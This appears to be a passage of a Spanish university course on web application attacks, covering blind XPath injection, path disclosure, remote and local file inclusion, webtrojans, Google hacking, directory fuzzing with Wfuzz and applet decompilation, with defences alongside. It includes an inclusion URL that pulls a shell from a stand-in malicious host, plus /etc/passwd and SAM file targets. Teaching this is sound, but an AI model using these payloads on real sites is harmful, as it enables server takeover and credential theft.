string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
